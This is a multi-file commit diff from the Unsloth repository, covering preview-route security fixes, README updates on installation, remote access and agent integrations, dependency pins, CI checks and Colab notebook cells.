unauthenticated /p caller can POST use_adapter=false, which calls
disable_adapter_layers() on the shared in-memory model without restoring
it; since load_model skips reloads for the same checkpoint, every later
visitor (the page never sends the field) keeps getting base-model output
instead of the fine-tuned checkpoint. Forcing it on also re-enables a
previously disabled adapter and no-ops on merged checkpoints.
- Ignore preview-page submits while a response is streaming. The send
button was disabled but the Enter handler still called requestSubmit(),
so a second request could start before the first reply landed in msgs and
reorder the chat history. Both the keydown and submit handlers now honor
the disabled button.
- Keep the cloudflare-URL polling loop alive across transient startup fetch
errors instead of letting one rejection halt it.
- Build the copy-link from a backend preview_ref (output dir relative to
outputs_root, gated on previewability and the two-segment /p route limit)
so a nested output dir no longer copies a basename-only link that 404s.
Expose preview_ref on training run summaries.
Add route-level security tests (path traversal, payload sanitization,
asset containment, CSP header, HTML title escaping, streaming lock held
until drained) and preview_ref unit tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio preview: Safari-safe submit and adapter pin only for LoRA
Follow-ups from cross-browser and route simulations:
- Preview page: send the message from a shared send() helper called by both
the form submit and the Enter key, instead of form.requestSubmit(). The
latter throws on Safari < 16 and older iOS, which broke Enter-to-send there.
Verified across Chromium, Firefox and WebKit with Playwright.
- Only pin use_adapter=True when the resolved checkpoint is a LoRA adapter
(adapter_config.json present); for a merged checkpoint strip it to None.
A merged model has no adapter to toggle, so forcing it on only produced a
per-request "not a PeftModel" warning. The cross-request base-model
contamination fix still holds for LoRA previews.
Add a merged-checkpoint test asserting use_adapter is stripped to None.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio preview: trim verbose comments
Tighten comments across the preview routes, page, checkpoint helpers, and tests
to short single-line notes; drop ones that just restate the code. No behavior
change (verified comment/docstring-only with comment_tools.py check).
* Harden preview routes for PR #6486
- Return a generic 400 detail on a rejected preview path so the public /p
route never echoes the absolute install path (the real reason is logged
server-side instead).
- Strip confirm_tool_calls, session_id and rag_scope in the preview payload
sanitizer so the public surface stays inert regardless of the tool gate.
- Use Path.is_relative_to for the asset containment check, matching the rest
of the codebase.
- Add img-src 'self' and font-src 'self' to the preview page CSP.
- Preview page: on a mid-stream error keep the streamed text, flag the break,
and restore the prompt so the user can retry; drop the unused --font-sans var.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-06-24 06:31:53 -07:00
1432 changed files with 310201 additions and 29727 deletions
# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
write_pi_config(){
if unsloth connect pi --help >/dev/null 2>&1;then
# Tripwire: once a real recipe exists, the hand-written config would mask any
# drift in it, defeating the point of this CI. Fail hard so the cell is
# migrated to the self-updating `unsloth connect pi --no-launch` path.
guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
- name:Built bundle must not contain Studio's unstable_Provider call site
- name:Built bundle must not contain Unsloth's unstable_Provider call site
run:|
set -e
JS=$(ls dist/assets/index-*.js | head -1)
@ -144,7 +147,7 @@ jobs:
echo "main bundle: $JS"
echo "unstable_Provider: hits=$HITS (assistant-ui internals contribute up to 3)"
if [ "$HITS" -gt 3 ]; then
echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Studio bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Unsloth bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
@ -47,15 +48,51 @@ Unsloth Studio (Beta) lets you run and train text, [audio](https://unsloth.ai/do
* [Auto set inference settings](https://unsloth.ai/docs/new/studio/chat#auto-parameter-tuning) and customize chat templates.
* We work directly with teams behind [gpt-oss](https://docs.unsloth.ai/new/gpt-oss-how-to-run-and-fine-tune#unsloth-fixes-for-gpt-oss), [Qwen3](https://www.reddit.com/r/LocalLLaMA/comments/1kaodxu/qwen3_unsloth_dynamic_ggufs_128k_context_bug_fixes/), [Llama 4](https://github.com/ggml-org/llama.cpp/pull/12889), [Mistral](https://huggingface.co/mistralai/Mistral-Medium-3.5-128B/discussions/18), [Gemma 1-3](https://news.ycombinator.com/item?id=39671146), and [Phi-4](https://unsloth.ai/blog/phi4), where we’ve fixed bugs that improve model accuracy.
* Chat with images, audio, PDFs, code, DOCX and more. [Connect API providers](https://unsloth.ai/docs/integrations/connections) (OpenAI, Anthropic) or servers (vLLM, Ollama).
* [**Compare any two models**](https://unsloth.ai/docs/new/studio/chat#model-arena) side by side with the same prompt.
* **OpenAI/Anthropic-compatible APIs**: Serve local models through `/v1/chat/completions`, `/v1/responses` and `/v1/messages`.
* **Connect local models to agents**: Use `unsloth start` with Claude Code, Codex, Hermes and more.
* **Web/PDF search** can read PDF papers, manuals and other PDF results.
* **GGUF hardware controls**: Choose GPUs/layers, offload MoE experts, use multi-GPU or Tensor Parallelism.
* The opt-in **MCP control endpoint** lets AI clients manage models, training, recipes and exports.
### Training
* Train and RL **500+ models** up to **2x faster** with up to **70% less VRAM**, with no accuracy loss.
* Custom Triton and mathematical **kernels**. See some collabs we did with [PyTorch](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) and [Hugging Face](https://unsloth.ai/docs/new/faster-moe).
* Train and RL **500+ models** up to **2x faster** with **70% less VRAM**; MoE up to **12x faster**.
* Train and run RL on [AMD GPUs](https://unsloth.ai/docs/basics/amd) across Windows, WSL and Linux.
* **Data Recipes**: [Auto-create datasets](https://unsloth.ai/docs/new/studio/data-recipe) from **PDF, CSV, DOCX** etc. Edit data in a visual-node workflow.
* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** (RL): The most efficient [RL](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide) library, using **80% less VRAM** for GRPO, [FP8](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) etc.
* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** uses **80% less VRAM** for GRPO, FP8 and vision RL, with 7x longer contexts.
* [**Long-context training**](https://unsloth.ai/docs/new/3x-faster-training-packing): **3x faster**, 30% less VRAM and 500K+ context.
* Supports LoRA/QLoRA, full fine-tuning, RL, pretraining, 4-bit, 16-bit and FP8.
* Custom Triton and mathematical **kernels** built with PyTorch and Hugging Face.
* **Observability**: Monitor training live, track loss and GPU usage and customize graphs.
* [Multi-GPU](https://unsloth.ai/docs/basics/multi-gpu-training-with-unsloth) training is supported, with major improvements coming soon.
## 🚀 Unsloth Start
[Unsloth Start](https://unsloth.ai/docs/integrations/unsloth-start) connects [Claude Code](https://unsloth.ai/docs/basics/claude-code), [Codex](https://unsloth.ai/docs/basics/codex) and other agents to local models with one command.
Start Unsloth, load a model, open your project folder, then run:
```bash
unsloth start claude
```
Replace `claude` with any supported agent:
| Agent | Command |
| --- | --- |
| Claude Code | `unsloth start claude` |
| OpenAI Codex | `unsloth start codex` |
| Hermes Agent | `unsloth start hermes` |
| OpenClaw | `unsloth start openclaw` |
| OpenCode | `unsloth start opencode` |
| Pi Coding Agent | `unsloth start pi` |
Claude Code, Codex, OpenCode and Pi can keep their current model and use Unsloth as a local
subagent:
```bash
unsloth start claude --as-subagent --model unsloth/model-GGUF:quant
```
## 📥 Install
Unsloth can be used in two ways: through **[Unsloth Studio](https://unsloth.ai/docs/new/studio/)**, the web UI, or through **Unsloth Core**, the code-based version. Each has different requirements.
@ -65,7 +102,8 @@ Unsloth Studio (Beta) works on **Windows, Linux, WSL** and **macOS**.
* **CPU:** Supported for Chat and Data Recipes currently
* **NVIDIA:** Training works on RTX 30/40/50, Blackwell, DGX Spark, Station and more
* **macOS:** Training, MLX and GGUF inference are ALL supported.
* **AMD:** Chat + Data works. Train with [Unsloth Core](#unsloth-core-code-based). Studio support is out soon.
* **AMD:** Training, RL, chat and deployment work on Windows, WSL and Linux. [Read the AMD guide](https://unsloth.ai/docs/basics/amd).
* **Vulkan:** GGUF inference is supported on [compatible GPUs, including Intel GPUs](https://github.com/unslothai/unsloth/pull/5819). Vulkan accelerates GGUF inference only; training still requires a supported PyTorch or MLX backend.
* **Multi-GPU:** Available now, with a major upgrade on the way
#### macOS, Linux, WSL:
@ -74,19 +112,35 @@ curl -fsSL https://unsloth.ai/install.sh | sh
```
Use the same command to update.
To force the Vulkan llama.cpp backend, set `UNSLOTH_FORCE_VULKAN=1`**before installing or updating**. The setting selects the llama.cpp binary bundle, so setting it only when launching Studio cannot replace an existing CPU bundle:
```bash
export UNSLOTH_FORCE_VULKAN=1
curl -fsSL https://unsloth.ai/install.sh | sh
```
#### Windows:
```powershell
irm https://unsloth.ai/install.ps1 | iex
```
Use the same command to update.
To force the Vulkan llama.cpp backend, set the environment variable before running the installer or updater:
```powershell
$env:UNSLOTH_FORCE_VULKAN=1
irm https://unsloth.ai/install.ps1 | iex
```
Re-running the current installer replaces a previously selected CPU bundle when the backend differs. A separate Vulkan SDK is not required; the GPU driver must provide a working Vulkan runtime.
#### Launch
```bash
unsloth studio -p 8888
```
For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally.
To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
To reach Unsloth over HTTPS, use `unsloth studio --secure`. Unsloth stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Unsloth reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
#### Docker
Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
@ -122,7 +176,7 @@ You can use the same Docker image as Unsloth Studio.
#### AMD, Intel:
For RTX 50x, B200, 6000 GPUs: `uv pip install unsloth --torch-backend=auto`. Read our guides for: [Blackwell](https://unsloth.ai/docs/blog/fine-tuning-llms-with-blackwell-rtx-50-series-and-unsloth) and [DGX Spark](https://unsloth.ai/docs/blog/fine-tuning-llms-with-nvidia-dgx-spark-and-unsloth). <br>
To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/get-started/install/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/basics/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
## 📒 Free Notebooks
@ -148,13 +202,20 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad
- See detailed documentation for Unsloth [here](https://unsloth.ai/docs)
## 🦥 Unsloth News
- **Connections**: Connect any API provider (OpenAI, Anthropic) or server (vLLM, Ollama). [Guide](https://unsloth.ai/docs/integrations/connections)
- **MTP**: Run Qwen3.6 MTP in Unsloth. MTP settings are autoset specific to your hardware. [Guide](https://unsloth.ai/docs/models/qwen3.6#mtp-guide)
- **API inference endpoint**: Deploy and run local LLMs in Claude Code, Codex tools. [Guide](https://unsloth.ai/docs/basics/api)
- **Qwen3.6**: Qwen3.6-35B-A3B can now be trained and run in Unsloth Studio. [Blog](https://unsloth.ai/docs/models/qwen3.6)
- **Gemma 4**: Run and train Google’s new models directly in Unsloth. [Blog](https://unsloth.ai/docs/models/gemma-4)
- **AMD training**: Train, run RL, chat and deploy on AMD GPUs across Windows, WSL and Linux. [Guide](https://unsloth.ai/docs/basics/amd)
- **GGUF hardware controls**: Choose GPU/layer placement, offload MoE experts and use multi-GPU or Tensor Parallelism. [#6414](https://github.com/unslothai/unsloth/pull/6414)
- **Local models for any agent**: Use `unsloth start` with Claude Code, Codex, Hermes, OpenCode, OpenClaw, Pi and more through Unsloth's OpenAI- and Anthropic-compatible APIs. [Guide](https://unsloth.ai/docs/basics/api)
- **MCP control endpoint**: Let compatible clients manage models, training, recipes, checkpoints and exports. [#7191](https://github.com/unslothai/unsloth/pull/7191)
- **GLM-5.2**: Run Z.ai's 744B-parameter, 1M-context open model locally with Unsloth Dynamic GGUFs. [Guide](https://unsloth.ai/docs/models/glm-5.2)
- **DeepSeek-V4**: Run DeepSeek-V4-Flash locally with corrected multi-turn and tool-calling behavior. [Guide](https://unsloth.ai/docs/models/deepseek-v4)
- **DiffusionGemma**: Run and fine-tune Google's diffusion language model with 1.8x faster inference in Unsloth Studio. [Guide](https://unsloth.ai/docs/models/diffusiongemma)
- **Qwen3.6**: Run and train Qwen3.6 with MTP for 1.4-2.2x faster inference and NVFP4 quants for supported GPUs. [Guide](https://unsloth.ai/docs/models/qwen3.6)
- **Gemma 4**: Run and train Gemma 4 text, image and audio models with QAT, MTP, GGUF and MLX support. [Guide](https://unsloth.ai/docs/models/gemma-4)
- **MCP servers**: Connect local models to files, apps, databases and external tools through Model Context Protocol. [Guide](https://unsloth.ai/docs/basics/mcp)
- **Connections**: Mix local models with API providers (OpenAI, Anthropic) or servers (vLLM, Ollama) in the same interface. [Guide](https://unsloth.ai/docs/integrations/connections)
- **Introducing Unsloth Studio**: our new web UI for running and training LLMs. [Blog](https://unsloth.ai/docs/new/studio)
- **Qwen3.5** - 0.8B, 2B, 4B, 9B, 27B, 35-A3B, 112B-A10B are now supported. [Guide + notebooks](https://unsloth.ai/docs/models/qwen3.5/fine-tune)
- Train **MoE LLMs 12x faster** with 35% less VRAM - DeepSeek, GLM, Qwen and gpt-oss. [Blog](https://unsloth.ai/docs/new/faster-moe)
- New **7x longer context RL** vs. all other setups, via our new batching algorithms. [Blog](https://unsloth.ai/docs/new/grpo-long-context)
@ -208,16 +269,31 @@ unsloth studio -p 8888
#### Remote access: `--secure` (HTTPS tunnel) vs raw port
By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach it from another device, pick one of:
- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Studio stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Unsloth stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
```bash
unsloth studio --secure -p 8888
```
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust.
```bash
unsloth studio -H 0.0.0.0 -p 8888
```
The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind.
Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Studio.
On a wildcard bind Unsloth works out the address to share by asking `ifconfig.me` for the public IP, then asks `check-host.net` whether that port is reachable so it can tell you if a firewall is in the way. Both contact a third party. Set `UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK=1` to skip them; the banner then shows the LAN address and no reachability line.
The first time Unsloth is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Unsloth shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI.
For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`):
```bash
unsloth studio --secure --password 'your-strong-password' # visible in `ps`/history
UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure # via env var
printf '%s\n' 'your-strong-password' | unsloth studio --secure --password - # via stdin
```
A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process.
Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Unsloth.
#### Advanced launch options
Installer options can be passed as environment variables. On macOS, Linux and WSL place the variable after the pipe so the shell passes it to `sh`; on Windows set it with `$env:` before piping to `iex`.
@ -230,6 +306,14 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh
Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
```bash
curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
```
Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
It is threaded as `--registry` into the Unsloth frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
Cap Unsloth's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
#### Uninstall
The recommended way to fully remove Unsloth Studio is the matching uninstall script for your OS. It stops any running servers, removes the install dir, the launcher data dir, the desktop shortcut, and any platform-specific entries (macOS `.app` bundle + Launch Services on Mac; Start Menu, `HKCU\Software\Unsloth` registry key and user `PATH` entries on Windows):
"triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
]
huggingfacenotorch=[
"unsloth_zoo>=2026.6.7",
"unsloth_zoo>=2026.7.6",
"wheel>=0.42.0",
"packaging",
"numpy",
@ -91,9 +131,25 @@ huggingfacenotorch = [
"trl>=0.18.2,!=0.19.0,<=0.24.0",
"sentence-transformers",
]
# torchcodec backend for Gemma audio / datasets>=4 (#7225).
# Pick the audio-torch* pin matching your torch minor (see TORCH_TORCHCODEC).
# torchcodec publishes no sdist and only manylinux_2_28_x86_64, macosx_*_arm64
# and win_amd64 wheels, so Linux aarch64, Windows ARM64 and Intel Mac have
# nothing to resolve and pip fails the whole install rather than skipping audio.
# Gate on the platforms that have a wheel, matching
# PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py.
audio-torch210=[
"torchcodec>=0.10.0,<0.11.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
audio-torch290=[
"torchcodec>=0.8.0,<0.10.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
audio-torch280=[
"torchcodec>=0.6.0,<0.8.0 ; python_version >= '3.9' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
huggingface=[
"unsloth[huggingfacenotorch]",
"unsloth_zoo>=2026.6.7",
"unsloth_zoo>=2026.7.6",
"torchvision",
"unsloth[triton]",
]
@ -254,10 +310,6 @@ cu118onlytorch270 = [
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')",
]
cu126onlytorch270=[
"xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)",
@ -281,7 +333,6 @@ cu128onlytorch270 = [
]
cu118onlytorch271=[
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
fi
# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
"_comment":"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version":2,
"_comment":"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"<a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a> Join Discord if you need help + ⭐ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐\n",
"</div>\n",
"\n",
"To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n",
"\n",
"### Unsloth Studio\n",
"\n",
"Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n",
"\n",
"\n",
"We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n",
"# On Colab, start() auto-opens a Cloudflare link and prints admin login credentials.\n",
"# Use the Cloudflare link above the ready card to open Studio (in-cell iframes often stay blank).\n",
"start()\n",
"\n",
"# To skip the Cloudflare tunnel and try the in-notebook proxy iframe only:\n",
"# start(cloudflare=False)"
],
"execution_count": null,
"outputs": [],
"id": "277e431e"
},
{
"cell_type": "markdown",
"metadata": {
"id": "f2b0c6a1"
},
"source": [
"And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n",
"\n",
"Some other resources:\n",
"1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n",
"2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n",
"3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n",
"4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n",
"5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n",
"<a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a> Join Discord if you need help + ⭐ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐\n",
"</div>\n",
"\n",
"To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n",
"\n",
"### Unsloth Studio\n",
"\n",
"Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n",
"\n",
"\n",
"We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n",
"And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n",
"\n",
"Some other resources:\n",
"1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n",
"2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n",
"3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n",
"4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n",
"5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n",
